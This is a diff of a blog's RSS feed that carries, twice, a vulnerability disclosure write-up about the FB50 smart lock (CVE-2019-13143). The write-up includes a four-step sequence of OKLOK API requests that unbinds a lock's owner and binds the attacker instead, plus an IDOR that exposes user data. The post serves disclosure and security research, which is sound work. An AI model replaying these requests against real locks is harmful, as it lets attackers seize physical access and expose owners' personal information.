&lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;, +but that didn&amp;#8217;t pan out, since the value being written was encrypted.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; + +&lt;h3 id=&quot;via-the-android-app&quot;&gt;Via the Android app&lt;/h3&gt; + +&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn&amp;#8217;t get us too +far since most of it was obfuscated. Why bother when there exists an +easier approach &amp;#8211; BurpSuite.&lt;/p&gt; + +&lt;p&gt;We captured and played around with a bunch of requests and responses, +and finally arrived at a working exploit chain.&lt;/p&gt; + +&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt; + +&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated +HTTP requests:&lt;/p&gt; + +&lt;ol&gt; +&lt;li&gt;Using the lock&amp;#8217;s MAC (obtained via a simple Bluetooth scan in the +vicinity), get the barcode and lock ID&lt;/li&gt; +&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt; +&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt; +&lt;li&gt;Provide a new name, attacker&amp;#8217;s user ID and the MAC to bind the attacker +to the lock&lt;/li&gt; +&lt;/ol&gt; + +&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt; + +&lt;h4 id=&quot;request-1&quot;&gt;Request 1&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/queryDevice +{&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;p&gt;Response:&lt;/p&gt; + +&lt;pre&gt;&lt;code&gt;{ + &quot;result&quot;:{ + &quot;alarm&quot;:0, + &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, + &quot;chipType&quot;:&quot;1&quot;, + &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, + &quot;deviceId&quot;:&quot;&quot;, + &quot;electricity&quot;:&quot;95&quot;, + &quot;firmwareVersion&quot;:&quot;2.3&quot;, + &quot;gsmVersion&quot;:&quot;&quot;, + &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, + &quot;isLock&quot;:0, + &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, + &quot;lockPwd&quot;:&quot;000000&quot;, + &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, + &quot;name&quot;:&quot;lock&quot;, + &quot;radioName&quot;:&quot;BlueFPL&quot;, + &quot;type&quot;:0 + }, + &quot;status&quot;:&quot;2000&quot; +} +&lt;/code&gt;&lt;/pre&gt; + +&lt;h4 id=&quot;request-2&quot;&gt;Request 2&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo + +{&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;&quot;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;p&gt;Response:&lt;/p&gt; + +&lt;pre&gt;&lt;code&gt; &quot;result&quot;:{ + &quot;account&quot;:&quot;email@some.website&quot;, + &quot;alarm&quot;:0, + &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, + &quot;chipType&quot;:&quot;1&quot;, + &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, + &quot;deviceId&quot;:&quot;&quot;, + &quot;electricity&quot;:&quot;95&quot;, + &quot;firmwareVersion&quot;:&quot;2.3&quot;, + &quot;gsmVersion&quot;:&quot;&quot;, + &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, + &quot;isLock&quot;:0, + &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, + &quot;lockPwd&quot;:&quot;000000&quot;, + &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, + &quot;name&quot;:&quot;lock&quot;, + &quot;radioName&quot;:&quot;BlueFPL&quot;, + &quot;type&quot;:0, + &quot;userId&quot;:&amp;lt;USER ID&amp;gt; + } +&lt;/code&gt;&lt;/pre&gt; + +&lt;h4 id=&quot;request-3&quot;&gt;Request 3&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/unbind + +{&quot;lockId&quot;:&quot;&amp;lt;LOCK ID&amp;gt;&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;h4 id=&quot;request-4&quot;&gt;Request 4&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/bind + +{&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;h3 id=&quot;thats-it-the-scary-stuff&quot;&gt;That&amp;#8217;s it! (&amp;amp; the scary stuff)&lt;/h3&gt; + +&lt;p&gt;You should have the lock transferred to your account. The severity of this +issue lies in the fact that the original owner completely loses access to +their lock. They can&amp;#8217;t even &amp;#8220;rebind&amp;#8221; to get it back, since the current owner +(the attacker) needs to authorize that. &lt;/p&gt; + +&lt;p&gt;To add to that, roughly 15,000 user accounts&amp;#8217; info are exposed via IDOR. +Ilja, a cool dude I met on Telegram, noticed locks named &amp;#8220;carlock&amp;#8221;, +&amp;#8220;garage&amp;#8221;, &amp;#8220;MainDoor&amp;#8221;, etc.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-2&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; This is terrifying.&lt;/p&gt; + +&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt; + +&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt; + +&lt;p&gt;&lt;a href=&quot;https://twitter.com/icyphox/status/1158396372778807296&quot;&gt;PoC Video&lt;/a&gt;&lt;/p&gt; + +&lt;p&gt;&lt;a href=&quot;https://github.com/icyphox/pwnfb50&quot;&gt;Exploit code&lt;/a&gt;&lt;/p&gt; + +&lt;h3 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h3&gt; + +&lt;ul&gt; +&lt;li&gt;&lt;strong&gt;26th June, 2019&lt;/strong&gt;: Issue discovered at SecureLayer7, Pune&lt;/li&gt; +&lt;li&gt;&lt;strong&gt;27th June, 2019&lt;/strong&gt;: Vendor notified about the issue&lt;/li&gt; +&lt;li&gt;&lt;strong&gt;2nd July, 2019&lt;/strong&gt;: CVE-2019-13143 reserved&lt;/li&gt; +&lt;li&gt;No response from vendor&lt;/li&gt; +&lt;li&gt;&lt;strong&gt;2nd August 2019&lt;/strong&gt;: Public disclosure&lt;/li&gt; +&lt;/ul&gt; + +&lt;h3 id=&quot;lessons-learnt&quot;&gt;Lessons learnt&lt;/h3&gt; + +&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You&amp;#8217;re better off with the &amp;#8220;dumb&amp;#8221; ones +with keys. With the IoT plague spreading, it brings in a large attack surface +to things that were otherwise &amp;#8220;unhackable&amp;#8221; (try hacking a &amp;#8220;dumb&amp;#8221; toaster).&lt;/p&gt; + +&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like +executable stack segments&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-3&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, hardcoded keys, and poor development +practices in general.&lt;/p&gt; + +&lt;p&gt;Our existing threat models and scenarios have to be updated to factor +in these new exploitation possibilities. This also broadens the playing +field for cyber warfare and mass surveillance campaigns. &lt;/p&gt; + +&lt;h3 id=&quot;researcher-info&quot;&gt;Researcher info&lt;/h3&gt; + +&lt;p&gt;This research was done at &lt;a href=&quot;https://securelayer7.net&quot;&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt; + +&lt;ul&gt; +&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt; +&lt;li&gt;S. Raghav Pillai (&lt;a href=&quot;https://twitter.com/_vologue&quot;&gt;@_vologue&lt;/a&gt;)&lt;/li&gt; +&lt;li&gt;Shubham Chougule (&lt;a href=&quot;https://twitter.com/shubhamtc&quot;&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt; +&lt;/ul&gt; + +&lt;div class=&quot;footnotes&quot;&gt; +&lt;hr /&gt; +&lt;ol&gt; +&lt;li id=&quot;fn-1&quot;&gt; +&lt;p&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/&quot;&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption.&amp;#160;&lt;a href=&quot;#fnref-1&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 1 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; +&lt;/li&gt; + +&lt;li id=&quot;fn-2&quot;&gt; +&lt;p&gt;Thanks to Ilja Shaposhnikov (@drakylar).&amp;#160;&lt;a href=&quot;#fnref-2&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 2 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; +&lt;/li&gt; + +&lt;li id=&quot;fn-3&quot;&gt; +&lt;p&gt;&lt;a href=&quot;https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf&quot;&gt;PDF&lt;/a&gt;&amp;#160;&lt;a href=&quot;#fnref-3&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 3 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; +&lt;/li&gt; +&lt;/ol&gt; +&lt;/div&gt; +</description> + <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate> + <guid>https://icyphox.sh/blog/fb50/</guid> +</item> +<item> <title>Python for Reverse Engineering #1: ELF Binaries</title> <link>https://icyphox.sh/blog/python-for-re-1</link> <description>&lt;h1 id=&quot;python-for-reverse-engineering-1-elf-binaries&quot;&gt;Python for Reverse Engineering 1: ELF Binaries&lt;/h1&gt;

@@ -579,218 +792,6 @@ </description>

<pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate> <guid>https://icyphox.sh/blog/rop-on-arm/</guid> </item> -<item> - <title>Picking the FB50 smart lock (CVE-2019-13143)</title> - <link>https://icyphox.sh/blog/fb50/</link> - <description>&lt;h1 id=&quot;picking-the-fb50-smart-lock-cve-2019-13143&quot;&gt;Picking the FB50 smart lock (CVE-2019-13143)&lt;/h1&gt; -&lt;h2 id=&quot;and-lessons-learnt-in-iot-security&quot;&gt;… and lessons learnt in IoT security&lt;/h2&gt; - -&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href=&quot;http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure&quot;&gt;SecureLayer7&amp;#8217;s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt; - -&lt;h3 id=&quot;the-lock&quot;&gt;The lock&lt;/h3&gt; - -&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen -Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands -across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt; - -&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from -the Play/App Store to function. The app requires the user to create an -account before further functionality is available. -It also facilitates configuring the fingerprint, -and unlocking from a range via Bluetooth.&lt;/p&gt; - -&lt;p&gt;We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) -and the Android app.&lt;/p&gt; - -&lt;h3 id=&quot;via-bluetooth-low-energy-ble&quot;&gt;Via Bluetooth Low Energy (BLE)&lt;/h3&gt; - -&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic -which can be enabled under Developer Options under Settings. We made -around 4 &amp;#8220;unlocks&amp;#8221; from the Android phone, as seen in the screenshot.&lt;/p&gt; - -&lt;p&gt;&lt;img src=&quot;/static/img/bt_wireshark.png&quot; alt=&quot;wireshark packets&quot; /&gt;&lt;/p&gt; - -&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt; - -&lt;p&gt;&lt;img src=&quot;/static/img/bt_ws_value.png&quot; alt=&quot;wireshark write req&quot; /&gt;&lt;/p&gt; - -&lt;p&gt;We attempted replaying these requests using &lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;, -but that didn&amp;#8217;t pan out, since the value being written was encrypted.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; - -&lt;h3 id=&quot;via-the-android-app&quot;&gt;Via the Android app&lt;/h3&gt; - -&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn&amp;#8217;t get us too -far since most of it was obfuscated. Why bother when there exists an -easier approach &amp;#8211; BurpSuite.&lt;/p&gt; - -&lt;p&gt;We captured and played around with a bunch of requests and responses, -and finally arrived at a working exploit chain.&lt;/p&gt; - -&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt; - -&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated -HTTP requests:&lt;/p&gt; - -&lt;ol&gt; -&lt;li&gt;Using the lock&amp;#8217;s MAC (obtained via a simple Bluetooth scan in the -vicinity), get the barcode and lock ID&lt;/li&gt; -&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt; -&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt; -&lt;li&gt;Provide a new name, attacker&amp;#8217;s user ID and the MAC to bind the attacker -to the lock&lt;/li&gt; -&lt;/ol&gt; - -&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt; - -&lt;h4 id=&quot;request-1&quot;&gt;Request 1&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/queryDevice -{&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;p&gt;Response:&lt;/p&gt; - -&lt;pre&gt;&lt;code&gt;{ - &quot;result&quot;:{ - &quot;alarm&quot;:0, - &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, - &quot;chipType&quot;:&quot;1&quot;, - &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, - &quot;deviceId&quot;:&quot;&quot;, - &quot;electricity&quot;:&quot;95&quot;, - &quot;firmwareVersion&quot;:&quot;2.3&quot;, - &quot;gsmVersion&quot;:&quot;&quot;, - &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, - &quot;isLock&quot;:0, - &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, - &quot;lockPwd&quot;:&quot;000000&quot;, - &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, - &quot;name&quot;:&quot;lock&quot;, - &quot;radioName&quot;:&quot;BlueFPL&quot;, - &quot;type&quot;:0 - }, - &quot;status&quot;:&quot;2000&quot; -} -&lt;/code&gt;&lt;/pre&gt; - -&lt;h4 id=&quot;request-2&quot;&gt;Request 2&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo - -{&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;&quot;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;p&gt;Response:&lt;/p&gt; - -&lt;pre&gt;&lt;code&gt; &quot;result&quot;:{ - &quot;account&quot;:&quot;email@some.website&quot;, - &quot;alarm&quot;:0, - &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, - &quot;chipType&quot;:&quot;1&quot;, - &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, - &quot;deviceId&quot;:&quot;&quot;, - &quot;electricity&quot;:&quot;95&quot;, - &quot;firmwareVersion&quot;:&quot;2.3&quot;, - &quot;gsmVersion&quot;:&quot;&quot;, - &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, - &quot;isLock&quot;:0, - &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, - &quot;lockPwd&quot;:&quot;000000&quot;, - &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, - &quot;name&quot;:&quot;lock&quot;, - &quot;radioName&quot;:&quot;BlueFPL&quot;, - &quot;type&quot;:0, - &quot;userId&quot;:&amp;lt;USER ID&amp;gt; - } -&lt;/code&gt;&lt;/pre&gt; - -&lt;h4 id=&quot;request-3&quot;&gt;Request 3&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/unbind - -{&quot;lockId&quot;:&quot;&amp;lt;LOCK ID&amp;gt;&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;h4 id=&quot;request-4&quot;&gt;Request 4&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/bind - -{&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;h3 id=&quot;thats-it-the-scary-stuff&quot;&gt;That&amp;#8217;s it! (&amp;amp; the scary stuff)&lt;/h3&gt; - -&lt;p&gt;You should have the lock transferred to your account. The severity of this -issue lies in the fact that the original owner completely loses access to -their lock. They can&amp;#8217;t even &amp;#8220;rebind&amp;#8221; to get it back, since the current owner -(the attacker) needs to authorize that. &lt;/p&gt; - -&lt;p&gt;To add to that, roughly 15,000 user accounts&amp;#8217; info are exposed via IDOR. -Ilja, a cool dude I met on Telegram, noticed locks named &amp;#8220;carlock&amp;#8221;, -&amp;#8220;garage&amp;#8221;, &amp;#8220;MainDoor&amp;#8221;, etc.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-2&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; This is terrifying.&lt;/p&gt; - -&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt; - -&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt; - -&lt;p&gt;&lt;a href=&quot;https://twitter.com/icyphox/status/1158396372778807296&quot;&gt;PoC Video&lt;/a&gt;&lt;/p&gt; - -&lt;p&gt;&lt;a href=&quot;https://github.com/icyphox/pwnfb50&quot;&gt;Exploit code&lt;/a&gt;&lt;/p&gt; - -&lt;h3 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h3&gt; - -&lt;ul&gt; -&lt;li&gt;&lt;strong&gt;26th June, 2019&lt;/strong&gt;: Issue discovered at SecureLayer7, Pune&lt;/li&gt; -&lt;li&gt;&lt;strong&gt;27th June, 2019&lt;/strong&gt;: Vendor notified about the issue&lt;/li&gt; -&lt;li&gt;&lt;strong&gt;2nd July, 2019&lt;/strong&gt;: CVE-2019-13143 reserved&lt;/li&gt; -&lt;li&gt;No response from vendor&lt;/li&gt; -&lt;li&gt;&lt;strong&gt;2nd August 2019&lt;/strong&gt;: Public disclosure&lt;/li&gt; -&lt;/ul&gt; - -&lt;h3 id=&quot;lessons-learnt&quot;&gt;Lessons learnt&lt;/h3&gt; - -&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You&amp;#8217;re better off with the &amp;#8220;dumb&amp;#8221; ones -with keys. With the IoT plague spreading, it brings in a large attack surface -to things that were otherwise &amp;#8220;unhackable&amp;#8221; (try hacking a &amp;#8220;dumb&amp;#8221; toaster).&lt;/p&gt; - -&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like -executable stack segments&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-3&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, hardcoded keys, and poor development -practices in general.&lt;/p&gt; - -&lt;p&gt;Our existing threat models and scenarios have to be updated to factor -in these new exploitation possibilities. This also broadens the playing -field for cyber warfare and mass surveillance campaigns. &lt;/p&gt; - -&lt;h3 id=&quot;researcher-info&quot;&gt;Researcher info&lt;/h3&gt; - -&lt;p&gt;This research was done at &lt;a href=&quot;https://securelayer7.net&quot;&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt; - -&lt;ul&gt; -&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt; -&lt;li&gt;S. Raghav Pillai (&lt;a href=&quot;https://twitter.com/_vologue&quot;&gt;@_vologue&lt;/a&gt;)&lt;/li&gt; -&lt;li&gt;Shubham Chougule (&lt;a href=&quot;https://twitter.com/shubhamtc&quot;&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt; -&lt;/ul&gt; - -&lt;div class=&quot;footnotes&quot;&gt; -&lt;hr /&gt; -&lt;ol&gt; -&lt;li id=&quot;fn-1&quot;&gt; -&lt;p&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/&quot;&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption.&amp;#160;&lt;a href=&quot;#fnref-1&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 1 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; -&lt;/li&gt; - -&lt;li id=&quot;fn-2&quot;&gt; -&lt;p&gt;Thanks to Ilja Shaposhnikov (@drakylar).&amp;#160;&lt;a href=&quot;#fnref-2&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 2 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; -&lt;/li&gt; - -&lt;li id=&quot;fn-3&quot;&gt; -&lt;p&gt;&lt;a href=&quot;https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf&quot;&gt;PDF&lt;/a&gt;&amp;#160;&lt;a href=&quot;#fnref-3&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 3 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; -&lt;/li&gt; -&lt;/ol&gt; -&lt;/div&gt; -</description> - <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate> - <guid>https://icyphox.sh/blog/fb50/</guid> -</item> </channel> </rss>